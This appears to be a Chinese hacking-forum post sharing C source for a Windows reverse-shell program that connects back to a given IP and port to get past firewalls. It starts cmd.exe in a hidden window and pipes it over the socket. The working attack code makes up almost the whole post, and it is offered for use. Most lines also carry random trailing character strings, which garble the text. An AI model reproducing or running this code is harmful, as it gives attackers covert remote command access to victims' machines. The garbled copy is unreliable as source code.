这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 mL48L57Z
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/* ============================== qrlC
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Rebound port in Windows NT 9DNp
By wind,2006/7 SI+Uq(k
===============================*/ &~H ed_
#include znwKwc8,
#include Nb`qM]&
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#pragma comment(lib,"wsock32.lib") `z0q:ME
c:Nm!+5_(
void OutputShell(); 8$
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SOCKET sClient; h7UNmwj
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; N8dxgh!,
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void main(int argc,char **argv) "
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{ Jq'8"
WSADATA stWsaData; _o$jk8jOjW
int nRet; nOL"6%q
SOCKADDR_IN stSaiClient,stSaiServer; mnsl$H_4S
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if(argc != 3) I1U2wD
{ ?Z7QD8N
printf("Useage:\n\rRebound DestIP DestPort\n"); Tz,9>uN
return; }Pg}"fb^
} m"iA#3l*=
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WSAStartup(MAKEWORD(2,2),&stWsaData); F^NK"<tW
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $zjdCg<
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stSaiClient.sin_family = AF_INET; x1.S+:
stSaiClient.sin_port = htons(0); :]m.&r S,
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); + '_t)k^
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) p2i?)+z
{ +SH{`7r
printf("Bind Socket Failed!\n"); F#sm^% _2
return; dWvVK("Wj
} RDp
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stSaiServer.sin_family = AF_INET; rm,`M
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); W8^m-B&
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); WR"D7{>tw
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) [7FG;}lB-
{ \:WWrY8&
printf("Connect Error!"); w#|L8VAh
return; i.vH$
} `x`[hJ?i
OutputShell(); DVL-qt\;n
} 2M-[x"\1/
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void OutputShell() &3[oM)-V
{ 5*pzL0,Y
char szBuff[1024]; AAevN3a#nI
SECURITY_ATTRIBUTES stSecurityAttributes; TJO$r6&
OSVERSIONINFO stOsversionInfo; %M@K(Qu
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Icnhet4
STARTUPINFO stStartupInfo; l}))vf=i
char *szShell; qUkMNo3
PROCESS_INFORMATION stProcessInformation; VI&x1C
unsigned long lBytesRead; ;=ddv@
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); /uwi$~Ed
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); J~k9jeq9
stSecurityAttributes.lpSecurityDescriptor = 0; 5 8bW
stSecurityAttributes.bInheritHandle = TRUE; v3I^81
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); y>P+"Z.K%}
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); [ >O!~
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); YA4 D?'
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *j%x
stStartupInfo.wShowWindow = SW_HIDE; '+PKGmRW
stStartupInfo.hStdInput = hReadPipe; `<C<[JP:o
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; M6)
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GetVersionEx(&stOsversionInfo); x]+PWk
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switch(stOsversionInfo.dwPlatformId) s<9g3Gh
{ 6l]X{ A.
case 1: A9$x8x*Lt
szShell = "command.com"; 2*|T)OA`m,
break; k {*QU(
default: +WH\,E
szShell = "cmd.exe"; &]nx^C8V;
break; _v,0"_"
} h Jb2y`,q
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); .,bpFcQ
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send(sClient,szMsg,77,0); &|/_"*uM
while(1) L8VOiK=,
{ ?h= n5}Y
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); v`HER6
if(lBytesRead) nI\6aG?`
{ ju"z
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); uzy5rA==
send(sClient,szBuff,lBytesRead,0); 9P?0D
} #Iw(+%D
else $Habhw
{ lB,1dw2(T
lBytesRead=recv(sClient,szBuff,1024,0); w&p+mJL.
if(lBytesRead<=0) break; Y2u\~.;oq
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); CL=%eSsuD
} bn(N8MFCV
} [n2B6Px
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return; va6Fp2n<1*
}